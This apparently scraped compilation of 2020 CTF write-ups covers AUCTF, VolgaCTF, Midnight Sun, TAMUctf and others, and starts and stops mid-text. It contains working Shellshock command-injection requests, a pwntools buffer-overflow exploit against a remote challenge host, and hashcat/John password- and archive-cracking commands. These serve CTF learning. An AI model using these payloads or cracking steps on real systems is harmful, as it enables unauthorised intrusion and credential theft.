that can be easily decrypted. ```Make a POST request to /api/final.php``` Performing the `POST` request you will get the following answer. ```POST /api/final.php HTTP/1.1Host: challenges.auctf.com:30022User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0Content-Type: application/x-www-form-urlencoded HTTP/1.1 200 OKDate: Fri, 03 Apr 2020 23:24:33 GMTServer: Apache/2.4.25 (Debian)X-Powered-By: PHP/7.0.33Content-Length: 43Connection: closeContent-Type: text/html; charset=UTF-8 Send a request with the flag variable set ``` Changing the `POST` request with a `flag` variable set will give you the flag. ```POST /api/final.php HTTP/1.1Host: challenges.auctf.com:30022User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 11Content-Type: application/x-www-form-urlencoded flag=aaaaaa HTTP/1.1 200 OKDate: Fri, 03 Apr 2020 23:23:19 GMTServer: Apache/2.4.25 (Debian)X-Powered-By: PHP/7.0.33Content-Length: 30Connection: closeContent-Type: text/html; charset=UTF-8 auctf{1_w@s_laZ_w1t_dis_0N3} ```
We can just patch binary and easy solve it! call get_string() ```assembly 00011339 83 c4 10 ADD ESP,0x10 0001133c 89 45 e8 MOV dword ptr [EBP + local_20],EAX 0001133f 83 ec 0c SUB ESP,0xc 00011342 ff 75 e8 PUSH dword ptr [EBP + local_20] 00011345 e8 40 00 CALL get_string ```patch code after get_string with this, run binary and get decoded string!```assembly 0001134a 83 c4 10 ADD ESP,0x10 0001134d 83 ec 04 SUB ESP,0x4 00011350 ff 75 f0 PUSH dword ptr [EBP + local_18] 00011353 ff 75 f4 PUSH dword ptr [EBP + local_14] 00011356 ff 75 e8 PUSH dword ptr [EBP + local_20] 00011359 e8 43 02 CALL decrypt 0001135e 89 45 ec MOV dword ptr [EBP + local_1c],EAX 00011361 50 PUSH EAX 00011362 e8 d9 fc CALL printf ```And we get decrypted string! Decompiled original code from Ghidra ```C{ char *extraout_EAX; int iVar1; undefined4 uVar2; undefined4 uVar3; char local_2020 [8192]; char *local_20; char *local_1c; undefined4 local_18; int local_14; undefined *local_10; local_10 = &stack0x00000004; setvbuf(stdout,(char *)0x0,2,0); puts( "54 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 6865 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f6c 6c 6f 77 65 64 2e" ); debugger_check(); local_14 = 0x11; local_18 = 0xc; printf("Input: "); fgets(local_2020,0x2000,stdin); remove_newline(local_2020); uVar3 = local_18; encrypt(local_2020,local_14,local_18); uVar2 = 4; local_1c = extraout_EAX; local_20 = (char *)calloc(0x20,4); get_string(local_20,uVar2,uVar3); iVar1 = strcmp(local_20,local_1c); if (iVar1 == 0) { print_flag(); } else { printf("Not quite"); } return 0;}``` patched fragment ```C get_string(local_20); local_1c = (char *)decrypt(local_20,local_14,local_18); printf(local_1c);```
## TL;DR 1. Load into ILSpy to get the decompiled code2. Find out that the password is limited to 5 chars.3. Find out that the SharpPasswd-Hash is very similar to the Unix Crypt-Hash and that it can be converted to a Unix Crypt Hash4. Convert the SharpPasswd-Hash => ```$1$.XnY46$rgnJwTKW7jO0xqyqJkf9C1``` to a Unix Crypt hash => ```$1$.XnY46$LhnB7S4z7gOmPrSjikP3C1```5. Brute force it with hashcat ``````hashcat -O -m 500 -a 3 hash.txt -1 ?a?a?a?a?a`````` where hash.txt contains ```$1$.XnY46$LhnB7S4z7gOmPrSjikP3C1``` takes ~6 min on a GTX 1070 Ti6. Flag ```VolgaCTF{#A4_v}```## Detailed VersionWe are provided with the following information: ```Check out our very handy util SharpPasswd! We use it to hash our passwords all the time, it's the best!!! Try and see for yourself: just hash the flag and check that the output is "$1$.XnY46$rgnJwTKW7jO0xqyqJkf9C1"!``` And with a binary with the name [SharpPasswd.dll](https://q.2020.volgactf.ru/files/feef12b6a35ef9ec64a4d52fa922ee3e/SharpPasswd.dll) As the name SharpPasswd hints at C# we loaded it into [ILSpy](https://github.com/icsharpcode/ILSpy) and extracted the relevant code of the Encryptor Class. ![](https://raw.githubusercontent.com/ThoenigAdrian/ctfs/master/volgactf2020/sharppasswd/ILSpy.png) Decompiled Class: ```csharpusing System;using System.Linq;using System.Security.Cryptography;using System.Text; namespace VolgaCTF{ public class Encryptor { private const int _saltLength = 6; private const string _md5SaltPrefix = "$1$"; private const string _md5characters = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; private readonly byte[] _salt; private readonly byte[] _pass; private readonly byte[] _hash; internal string GetSalt() { return Encoding.ASCII.GetString(_salt); } internal string GetHash() { StringBuilder stringBuilder = new StringBuilder("$1$"); stringBuilder.Append(Encoding.ASCII.GetString(_salt)); stringBuilder.Append('$'); stringBuilder.Append(b64From24bit(_hash[0], _hash[6], _hash[12], 4)); stringBuilder.Append(b64From24bit(_hash[1], _hash[7], _hash[13], 4)); stringBuilder.Append(b64From24bit(_hash[2], _hash[8], _hash[14], 4)); stringBuilder.Append(b64From24bit(_hash[3], _hash[9], _hash[15], 4)); stringBuilder.Append(b64From24bit(_hash[4], _hash[10], _hash[5], 4)); stringBuilder.Append(b64From24bit(_hash[11], 0, 0, 2)); return stringBuilder.ToString(); } public Encryptor(string pass) { _pass = Encoding.UTF8.GetBytes(pass.Substring(0, Math.Min(5, pass.Length))); _salt = GenerateSalt(6); _hash = Crypt(_pass, _salt, Encoding.ASCII.GetBytes("$1$"), MD5.Create()); } private byte[] GenerateSalt(int size) { StringBuilder stringBuilder = new StringBuilder(); Random random = new Random(); for (int i = 0; i < size; i++) { int index = random.Next(0, "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length); stringBuilder.Append("./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ElementAt(index)); } return Encoding.ASCII.GetBytes(stringBuilder.ToString()); } private byte[] Crypt(byte[] key, byte[] salt, byte[] prefix, HashAlgorithm algorithm) { algorithm.Initialize(); algorithm.TransformBlock(key, 0, key.Length, key, 0); algorithm.TransformBlock(salt, 0, salt.Length, salt, 0); algorithm.TransformBlock(key, 0, key.Length, key, 0); algorithm.TransformFinalBlock(new byte[0], 0, 0); byte[] array = (byte[])algorithm.Hash.Clone(); algorithm.Initialize(); algorithm.TransformBlock(key, 0, key.Length, key, 0); algorithm.TransformBlock(prefix, 0, prefix.Length, prefix, 0); algorithm.TransformBlock(salt, 0, salt.Length, salt, 0); for (int i = 0; i < key.Length; i += array.Length) { algorithm.TransformBlock(array, 0, Math.Min(key.Length - i, array.Length), array, 0); } int num = key.Length; for (int j = 0; j < 31; j++) { if (num == 0) { break; } byte[] array2 = new byte[1] { (byte)(((num & (1 << j)) == 0) ? key[0] : 0) }; algorithm.TransformBlock(array2, 0, array2.Length, array2, 0); num &= ~(1 << j); } algorithm.TransformFinalBlock(new byte[0], 0, 0); byte[] array3 = (byte[])algorithm.Hash.Clone(); for (int k = 0; k < 1000; k++) { algorithm.Initialize(); if ((k & 1) != 0) { algorithm.TransformBlock(key, 0, key.Length, key, 0); } else { algorithm.TransformBlock(array3, 0, array3.Length, array3, 0); } if (k % 3 != 0) { algorithm.TransformBlock(salt, 0, salt.Length, salt, 0); } if (k % 7 != 0) { algorithm.TransformBlock(key, 0, key.Length, key, 0); } if ((k & 1) != 0) { algorithm.TransformBlock(array3, 0, array3.Length, array3, 0); } else { algorithm.TransformBlock(key, 0, key.Length, key, 0); } algorithm.TransformFinalBlock(new byte[0], 0, 0); Array.Copy(algorithm.Hash, array3, array3.Length); } return array3; } private string b64From24bit(byte b0, byte b1, byte b2, int n) { StringBuilder stringBuilder = new StringBuilder(string.Empty); int num = (b2 << 16) | (b1 << 8) | b0; while (n-- > 0) { stringBuilder.Append("./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[num & 0x3F]); num >>= 6; } return stringBuilder.ToString(); } }} ``` Before taking a deeper look into the code we played a bit around with the hash function and could observe that inputs like ```test2, test23, test234``` resulted in the same output hash. ![](https://github.com/ThoenigAdrian/ctfs/blob/master/volgactf2020/sharppasswd/test23.png?raw=true)To be able to observe this behaviour you need to hardcode the salt to ```salty``` and remove the random salt generation. Which we could then track down to the following line of code: ```_pass = Encoding.UTF8.GetBytes(pass.Substring(0, Math.Min(5, pass.Length)));``` in ```public Encryptor(string pass)``` This means the search space for the password dramatically decreased to **5 characters**.We started brute forcing to see how fast we could solve this.Assuming a **flag range** from **0x20-0xff** this would mean **7.7 * 10 ^ 9** entries.With an 8 core CPU we reached **14.7kH/s** which meant we'd need **~145 hours** for brute forcing this password. As the CTF only lasts for 48 hours this approach wasn't really feasible. We then thought about reimplementing it in C but we estimated a MAXIMUM speedup of ~10 (probably less) so we avoided this option for now. Another theory was that there might be some obvious inefficiencies in the Encryptor Code and if we could optimize them we could get a better brute force timeunfortunately we couldn't find any low hanging fruits. We did some further research, we found a few code snippets which looked very similar to the code of ```Encryptor.cs``` . Actually the snippets we found implemented the Unix Crypt method. ![](https://github.com/ThoenigAdrian/ctfs/blob/master/volgactf2020/sharppasswd/comparisoncrypt.PNG?raw=true) **Left Side: Encryptor.cs** vs. **Right Side: Perl Implementation of Unix Crypt** Therefore we installed the ```md5pass``` command. ```md5pass``` is a command line utility which you can feed a hash and a salt and it outputs the MD5 Crypt Hash. Unfortunately the hashes didn't match the ones of the ```Encryptor.cs``` but we noticed that the last two bytes were the same.In the image below one can see that the last two characters are the same. ![](https://github.com/ThoenigAdrian/ctfs/blob/master/volgactf2020/sharppasswd/comparisonhash.jpeg?raw=true) Therefore we thought there might be some subtle changes between the algorithms, (SharpPasswd vs. Unix Crypt), which resulted in a different hash.And in fact we found that the algorithm is the same up until the bit shifting part.The bit shifting at the end was different. This meant that if we were able to reverse the wrong byte shifting in Encryptor.cs we could convert the Encryptor hash to a legit Crypt Hash. Why would we want do this ? Because then we can leverage existing GPU optimized password recovery tools like hashcat. We used the following code for converting the SharpPasswd-Hash to the Unix Crypt Hash. ```csharpstatic void Main(string[] args) { var target = "$1$.XnY46$rgnJwTKW7jO0xqyqJkf9C1"; var flippedTarget = Flip(target); Console.WriteLine("Flipped target: "+ flippedTarget);} private static string Flip(string orig) { var parts = orig.Split("$"); var res = ""; var a = parts[3]; while (a.Length > 3) { var x = a.Substring(0, 4); a = a.Substring(4); var b = 0; for (var i = 0; i < 4; i++) { var idx = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".IndexOf(x[0]); b = b | ((idx & 63) << (i * 6)); x = x.Substring(1); } res += B64From24bitCorrect((byte) (b & 0xff), (byte) ((b >> 8) & 0xFF), (byte) ((b >> 16) & 0xFF), 4); } res += a; return parts[0] + "$" + parts[1] + "$" + parts[2] + "$" + res;} private static string B64From24bitCorrect(byte b0, byte b1, byte b2, int n){ StringBuilder stringBuilder = new StringBuilder(string.Empty); int num = (int) b0 << 16 | (int) b1 << 8 | (int) b2; while (n-- > 0) { stringBuilder.Append("./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[num & 63]); num >>= 6; } return stringBuilder.ToString();}``` Which outputs the following hash: ```Flipped target: $1$.XnY46$LhnB7S4z7gOmPrSjikP3C1``` After successful conversion we saved the hash into a file and let hashcat do it's magic. ```hashcat -O -m 500 -a 3 test_hash.txt -1 ?a?a?a?a?a``` Explanation:1. ```-m 500``` corresponds to the unix Crypt Hash. 2. ```-O``` turns on some optimizations which in our case gave us double the hashrate3. ```hash.txt``` just contains ```$1$.XnY46$LhnB7S4z7gOmPrSjikP3C1``` (we had to save it in a file otherwise we got some ```bad separator``` errors)4. ```?a?a?a?a?a``` tells hash cat that the password is 5 chars long 5. ```?a``` corresponds to ```a-z``` , ```A-Z```, ```0-9``` and the following special characters ```«space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~``` We got around 7.8 MH/s on a Nvidia GTX 1070 Ti . After ~6minutes the password was cracked. ```#A4_v``` We then surrounded it with VolgaCTF{} FLAG: ```VolgaCTF{#A4_v}```
# Mental ## Description > Password Format: Color-Country-Fruit> > Hash: 17fbf5b2585f6aab45023af5f5250ac3> > NOTE: The flag is NOT in the standard auctf{} format ## Solution This looks like a fun password cracking challenge. We are given a password format (therefore standard password list probably do not include the password). But then it looks like a MD5 hash. So let's try to create our own password list. First we download:- a color list: [colors.txt](https://github.com/k-kawakami/colorfulnet/blob/master/example_data/wikipedia-list-of-colors.txt)- a country list: [countries.txt](https://gist.github.com/kalinchernev/486393efcca01623b18d)- a fruit list: [fruits.txt](https://gist.githubusercontent.com/lasagnaphil/7667eaeddb6ed0c565f0cb653d756942/raw/e05dbc73062aa1679b733e8f9f9b32e003c59d0e/fruits.txt) Then using this Python script, we combine them to create a wordlist: ```pythoncolors = []with open("colors.txt", "r") as f: for l in f: colors.append(l.replace('\n', '-')) countries = []with open("countries.txt", "r") as f: for l in f: countries.append(l.replace('\n', '-')) fruits = []with open("fruits.txt", "r") as f: for l in f: fruits.append(l) with open("wordlist.txt", "w") as i: for l1 in colors: for l2 in countries: for l3 in fruits: i.write(l1 + l2 + l3)``` Finally we run [John](https://www.openwall.com/john/) to crack the password using our custom list. ![crack](../images/mental.png) Flag: `Azure-Botswana-Mango`
# Zippy ## Description > Have fun!> > NOTE: The flag is NOT in the standard auctf{} format Attached is a zip file. ## Solution Let's try to unzip it: ![zippyfail](../images/zippy_fail.png) A quick Google search tells us to unzip it with `7z`. But then we're asked for a password: ![zippypwd](../images/zippy_pwd.png) Let's use [John](https://www.openwall.com/john/) to crack it, using the standard [rockyou](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt) password list. First we need to convert the zip to a hash file for John. We can do this using `zip2john`. Then we crack it. ![zippypwd](../images/zippy.png) This allow us to unzip the file. Following are 5 or 6 zip files, which we can open using the same dictionnary attack. Flag: `y0ud1d17#15789`
# Midnight Sun CTF 2020 Qualifier - Masterpiece> You have to help. I'm really devestated now. I was making this really beautiful piece of art and had it saved and everything but now when I try to look at it everything just crashes. I'm really sad about this. Download: [https://s3-eu-west-1.amazonaws.com/2020.midnightsunctf.se/865100d0d994d6fd36c3a398c46528f93a0069dd2f613c50955ffe47ca452e6b/masterpiece-dist.tgz](https://s3-eu-west-1.amazonaws.com/2020.midnightsunctf.se/865100d0d994d6fd36c3a398c46528f93a0069dd2f613c50955ffe47ca452e6b/masterpiece-dist.tgz) Points: 78 Solves: 115 Tags: forensic ## Initial StepsWe unpack the archive. We find a file *masterpiece.000* in the folder. What is it?```bash$ file masterpiece.000masterpiece.000: gzip compressed data, max compression, original size modulo 2^32 1164472``` Another archive. Let's unpack it. We get another file *masterpiece.000.1*. What is it?```bash$ file masterpiece.000.1masterpiece.000.1: data``` ## Recon on the file Ok. Let's see if there is any text inside. Pipe it into head, since there seems to be a lot. ```bash$ strings masterpiece.000.1 | head -n 10#!s9xsnp:0011NAM:000065:Z:\Share\snes-forensics\snes9x\Roms\Mario Paint (Japan, USA).sfcCPU:000048:REG:000016:PPU:002652:TUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU5yDMA:000152:VRA:065536:00AA?3}Qp@OO??``` Interesting. Googling reveals that snes9x is a Super Nintendo emulator. Maybe this is a savestate from the crashed game of Mario Paint? The .000 ending supports that. ## Loading the savestate into the gameTo be able to load the savestate we do the following: 1. **Install Snes9x.** Since it didn't run on my OS I downloaded a Windows 10 Vagrant Box and installed it there.2. **Download the ROM:** Mario Paint (Japan, USA)3. **Start the ROM** and **Load the savestate** Running the game in the emulator works. However it crashes when loading the savestate. Is it corrupted? ## Fixing the savestateTo check whether the savestate is corrupted we make another valid savestate using snes9x. Then we can compare them using hexdump (after unpacking the real savestate): ![](images/hexdump.png) Notice how the bytes marked red are missing in the corrupted savestate. We use *dd* to fix that. For example:```bashprintf '\x54' | dd of=masterpiece.000.1 bs=1 seek=$((0x00000068)) conv=notrunc``` After patching the savestate we try to load it in snes9x again. It works! ![](images/done.png)
# Salty ## Description > You might need this: 1337> > Hash: 5eaff45e09bec5222a9cfa9502a4740d> > NOTE: The flag is NOT in the standard auctf{} format ## Solution Given the name of the challenge (and once again, the size of the hash), this is probably a salted password hashed with MD5. Let's use [John](https://www.openwall.com/john/) to crack it, using the standard [rockyou](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt) password list. First, let's configure the hash file in the format: ```username:hash$salt``` Then we look for a predifined format which uses MD5 with salt: ![Salt](../images/salty_salt.png) Here type `dynamic_1014` or `dynamic_1017` can suit our needs. Most common use is to prepend the salt, so let's try it with `dynamic_1017`. ![Salt](../images/salty.png) Flag: `treetop`
# AUCTF 2020 – M1 Abrams * **Category:** web* **Points:** 977 ## Challenge > http://challenges.auctf.com:30024> > We built up this server, and our security team seems pretty mad about it. See if you can find out why.> > Author: shinigami ## Solution Connecting to the URL you will find a default Apache2 installation page. The version of the server is `Apache/2.4.29 (Ubuntu)`. Performing an enumeration will let you to discover the following. ```user@machine:~$ sudo dirb http://challenges.auctf.com:30024/ /usr/share/dirb/wordlists/vulns/apache.txt -x /usr/share/dirb/wordlists/extensions_common.txt -w -----------------DIRB v2.22By The Dark Raver----------------- START_TIME: Sun Apr 5 11:32:26 2020URL_BASE: http://challenges.auctf.com:30024/WORDLIST_FILES: /usr/share/dirb/wordlists/vulns/apache.txtOPTION: Not Stopping on warning messagesEXTENSIONS_FILE: /usr/share/dirb/wordlists/extensions_common.txt | ()(.asp)(.aspx)(.bat)(.c)(.cfm)(.cgi)(.com)(.dll)(.exe)(.htm)(.html)(.inc)(.jhtml)(.jsa)(.jsp)(.log)(.mdb)(.nsf)(.php)(.phtml)(.pl)(.reg)(.sh)(.shtml)(.sql)(.txt)(.xml)(/) [NUM = 29] ----------------- GENERATED WORDS: 30 ---- Scanning URL: http://challenges.auctf.com:30024/ ----+ http://challenges.auctf.com:30024/cgi-bin/ (CODE:403|SIZE:288)+ http://challenges.auctf.com:30024/icons/ (CODE:403|SIZE:288)+ http://challenges.auctf.com:30024/index.html (CODE:200|SIZE:10918)+ http://challenges.auctf.com:30024/server-status (CODE:403|SIZE:288)+ http://challenges.auctf.com:30024/server-status/ (CODE:403|SIZE:288) -----------------END_TIME: Sun Apr 5 11:33:49 2020DOWNLOADED: 870 - FOUND: 5``` Analyzing `cgi-bin/` directory will let you to discover an interesting endpoint. ```user@machine:~$ sudo dirb http://challenges.auctf.com:30024/cgi-bin/ -w -----------------DIRB v2.22By The Dark Raver----------------- START_TIME: Sun Apr 5 12:04:05 2020URL_BASE: http://challenges.auctf.com:30024/cgi-bin/WORDLIST_FILES: /usr/share/dirb/wordlists/common.txtOPTION: Not Stopping on warning messages ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://challenges.auctf.com:30024/cgi-bin/ ----+ http://challenges.auctf.com:30024/cgi-bin/scriptlet (CODE:200|SIZE:55) -----------------END_TIME: Sun Apr 5 12:10:22 2020DOWNLOADED: 4612 - FOUND: 1``` Connecting to `http://challenges.auctf.com:30024/cgi-bin/scriptlet` will give you the following. ```uid=33(www-data) gid=33(www-data) groups=33(www-data)``` The scriptlet is vulnerable to [*Shellshock*](https://en.wikipedia.org/wiki/Shellshock_(software_bug)). ```GET /cgi-bin/scriptlet HTTP/1.1Host: challenges.auctf.com:30024User-Agent: () { :;};echo -e "\r\n$(/usr/bin/whoami)"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.1 200 OKDate: Sun, 05 Apr 2020 12:16:07 GMTServer: Apache/2.4.29 (Ubuntu)Connection: closeContent-Length: 89 www-dataContent-type: text/html uid=33(www-data) gid=33(www-data) groups=33(www-data)``` So you can use it to enumerate the root directory to find `flag.file`. ```GET /cgi-bin/scriptlet HTTP/1.1Host: challenges.auctf.com:30024User-Agent: () { :;};echo -e "\r\n$(/bin/ls /)"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.1 200 OKDate: Sun, 05 Apr 2020 12:19:24 GMTServer: Apache/2.4.29 (Ubuntu)Connection: closeContent-Length: 175 binbootdevetcflag.filehomeliblib64mediamntoptprocrootrunsbinsrvsystmpusrvarContent-type: text/html uid=33(www-data) gid=33(www-data) groups=33(www-data)``` And then print it. ```GET /cgi-bin/scriptlet HTTP/1.1Host: challenges.auctf.com:30024User-Agent: () { :;};echo -e "\r\n$(/bin/cat /flag.file)"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Length: 0 HTTP/1.1 200 OKDate: Sun, 05 Apr 2020 12:20:01 GMTServer: Apache/2.4.29 (Ubuntu)Connection: closeContent-Length: 194 1f8b0808de36755e0003666c61672e747874004b2c4d2e49ab56c93036348c0fce30f08ecf358eaf72484989ace502005a5da5461b000000Content-type: text/html uid=33(www-data) gid=33(www-data) groups=33(www-data)``` The content of the file is the hexadecimal representation of a GZip archive (i.e. signature `1f8b08`). This [file](https://github.com/m3ssap0/CTF-Writeups/raw/master/AUCTF%202020/M1%20Abrams/flag.gz) can be re-created with an hexadecimal editor. If you open the archive you will find the `flag.txt` file with the flag. ```auctf{$h311_Sh0K_m3_z@ddY}```
# Thanksgiving Dinner ## Description > I just ate a huge dinner. I can barley eat anymore... so please don't give me too much!> > nc challenges.auctf.com 30011> > Note: ASLR is disabled for this challenge The corresponding binary is given. ## Solution When connecting to the challenge, we see a string, then we can give an input but nothing happens. ![thanksgiving](../images/thanksgiving.png) Let's reverse the binary with [Ghidra](https://ghidra-sre.org/). ```cundefined4 main(void){ undefined *puVar1; puVar1 = &stack0x00000004; setvbuf(stdout,(char *)0x0,2,0); puts("Hi!\nWelcome to my program... it\'s a little buggy..."); vulnerable(puVar1); return 0;}``` `main` function calls function `vulnerable`... ```cvoid vulnerable(void){ char local_30 [16]; int local_20; int local_1c; int local_18; int local_14; int local_10; puts("Hey I heard you are searching for flags! Well I\'ve got one. :)"); puts("Here you can have part of it!"); puts("auctf{"); puts("\nSorry that\'s all I got!\n"); local_10 = 0; local_14 = 10; local_18 = 0x14; local_1c = 0x14; local_20 = 2; fgets(local_30,0x24,stdin); if ((((local_10 == 0x1337) && (local_14 < -0x14)) && (local_1c != 0x14)) && ((local_18 == 0x667463 && (local_20 == 0x2a)))) { print_flag(); } return;}``` Function `vulnerable` defines a bunch of variables on the stack, prints some strings, asks for input with the highly vulnerable function `gets`, then checks the value of variables. If they match the predifined values, it prints the flag. Therefore the exploit is quite straightforward: we overflow the buffer to replace the value of variables, and we're done. ```pythonfrom pwn import * sh = remote('challenges.auctf.com', 30011) payload = b'0'*16 + b'\x2a\x00\x00\x00' + b'\x11\x11\x11\x11' + b'\x63\x74\x66\x00' + b'\xeb\xff\xff\xff' + b'\x37\x13\x00\x00' sh.recvuntil("got!")sh.sendline(payload)sh.interactive()``` Flag: `auctf{I_s@id_1_w@s_fu11!}`
# Manager ## Description > There might be a flag inside this file. The password is all digits.> > NOTE: The flag is NOT in the standard auctf{} format The given file is a `.kdbx` file which corresponds to a password manager file. ## Solution Let's crack the password with [John](https://www.openwall.com/john/). First, we need to extract the hash from the password database with the command: ```bashkeepass2john auctf/manager.kdbx > auctf/managerhashes``` Then we brute force the password, knowing it is composed of digits: ![manager_extract](../images/manager.png) We then open the database with [Keepass2](https://keepass.info/) with the cracked master password and find the flag. ![managerkeepass](../images/manager_keepass.png) Flag: `y0u4r34r34lh4ck3rn0w#!$1678`
# ETERNAL_GAME Writeup ### TAMUctf 2020 - Crypto 338 > No one has ever won my game except me! > `nc challenges.tamuctf.com 8812` #### Hash Length Extension Attack My goal is to pass sufficient score, some random bit integer, starting from integer `1`. The score server checks the score by the following logic. Let current integer score value `score`, secret string value `key`, and hash function `H`(sha512). 1. Server will give client of value `h = H(key + str(score)[::-1])`2. Client will submit its `score` with return value `h`.3. Server will recalculate hash using method by using client-submitted score and compare with client-submitted hash for verification. Therefore if I forge value `h`, I can submit arbitrary score to server and get flag! The overall setting is suitable for hash length extension attack. I used [Hashpump](https://github.com/bwall/HashPump), famous tool for this attack! Detailed description for the attack is introduced [here](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks). Use python subprocess module to execute tool. Bruteforce key length to forge hash `h' = H(key + str(some_big_score)[::-1])`, which is the signature for random big integer(`'9' * 50` for my case for ignoring reversing string). Submit forged hash `h'` and get flag: ```gigem{a11_uR_h4sH_rR_be10nG_to_m3Ee3}``` Exploit code: [solve.py](solve.py) Original problem: [game.py](game.py)
## Original writeup: https://www.tdpain.net/progpilot/tg2020/extractthis/-----Internet archive link: https://web.archive.org/web/20200411170950/https://www.tdpain.net/progpilot/tg2020/extractthis/
# install gentoo ![](installgentoo.png) I can't and won't give a full writeup here! However I will tell you how I got the flag. * Wait patientley on the specifically created Discord* Do what told in order to fight and trap `duncan_8bythepowerof2`* Remind people with the rev shell that their stream was lagging because they got DDoSed* Hope not to get kicked from the Discord due to lack of participation* Be happy that Milkdrop gave us the flag despite not fully completing ### Flag: `X-MAS{So_guys_w3_d1d_1t_we_h4v3_1nst4ll3d_/G/3NTOO}`
so difficult…I success in local but fail in remote… This is my solution... if any one want to see... [...](http://note.taqini.space/#/ctf/TG-HACK2020/?id=crap)
# Plain Jane ## Description > I'm learning assembly. Think you can figure out what this program returns?> > Note: Not standard flag format. Please provide either the unsigned decimal equivalent or hexadecimal equivalent. The following `.s`file is given: ```assembly .file "plain_asm.c" .intel_syntax noprefix .text .globl main .type main, @functionmain:.LFB6: .cfi_startproc push rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 mov rbp, rsp .cfi_def_cfa_register 6 sub rsp, 16 mov eax, 0 call func_1 mov DWORD PTR -4[rbp], eax mov eax, 0 call func_2 mov DWORD PTR -8[rbp], eax mov edx, DWORD PTR -8[rbp] mov eax, DWORD PTR -4[rbp] mov esi, edx mov edi, eax call func_3 mov DWORD PTR -12[rbp], eax mov eax, 0 leave .cfi_def_cfa 7, 8 ret .cfi_endproc.LFE6: .size main, .-main .globl func_1 .type func_1, @functionfunc_1:.LFB7: .cfi_startproc push rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 mov rbp, rsp .cfi_def_cfa_register 6 mov BYTE PTR -1[rbp], 25 mov DWORD PTR -8[rbp], 0 jmp .L4.L5: mov eax, DWORD PTR -8[rbp] add eax, 10 mov edx, eax mov eax, edx sal eax, 2 add eax, edx lea edx, 0[0+rax*4] add eax, edx add BYTE PTR -1[rbp], al add DWORD PTR -8[rbp], 1.L4: cmp DWORD PTR -8[rbp], 9 jle .L5 movzx eax, BYTE PTR -1[rbp] mov DWORD PTR -12[rbp], eax mov eax, DWORD PTR -12[rbp] pop rbp .cfi_def_cfa 7, 8 ret .cfi_endproc.LFE7: .size func_1, .-func_1 .globl func_2 .type func_2, @functionfunc_2:.LFB8: .cfi_startproc push rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 mov rbp, rsp .cfi_def_cfa_register 6 mov DWORD PTR -4[rbp], 207 mov eax, DWORD PTR -4[rbp] pop rbp .cfi_def_cfa 7, 8 ret .cfi_endproc.LFE8: .size func_2, .-func_2 .globl func_3 .type func_3, @functionfunc_3:.LFB9: .cfi_startproc push rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 mov rbp, rsp .cfi_def_cfa_register 6 mov DWORD PTR -36[rbp], edi mov DWORD PTR -40[rbp], esi cmp DWORD PTR -36[rbp], 64 jg .L10 mov eax, 24 jmp .L11.L10: cmp DWORD PTR -40[rbp], 211 jle .L12 mov eax, 20 jmp .L11.L12: cmp DWORD PTR -36[rbp], 0 je .L13 cmp DWORD PTR -40[rbp], 0 jne .L13 mov eax, 120 jmp .L11.L13: cmp DWORD PTR -36[rbp], 0 jne .L14 cmp DWORD PTR -40[rbp], 0 je .L14 mov eax, 220 jmp .L11.L14: mov eax, DWORD PTR -36[rbp] or eax, DWORD PTR -40[rbp] mov DWORD PTR -12[rbp], eax mov eax, DWORD PTR -36[rbp] and eax, DWORD PTR -40[rbp] mov DWORD PTR -16[rbp], eax mov eax, DWORD PTR -36[rbp] xor eax, DWORD PTR -40[rbp] mov DWORD PTR -20[rbp], eax mov DWORD PTR -4[rbp], 0 mov DWORD PTR -8[rbp], 0 jmp .L15.L16: mov eax, DWORD PTR -16[rbp] sub eax, DWORD PTR -8[rbp] mov edx, eax mov eax, DWORD PTR -12[rbp] add eax, edx add DWORD PTR -4[rbp], eax add DWORD PTR -8[rbp], 1.L15: mov eax, DWORD PTR -8[rbp] cmp eax, DWORD PTR 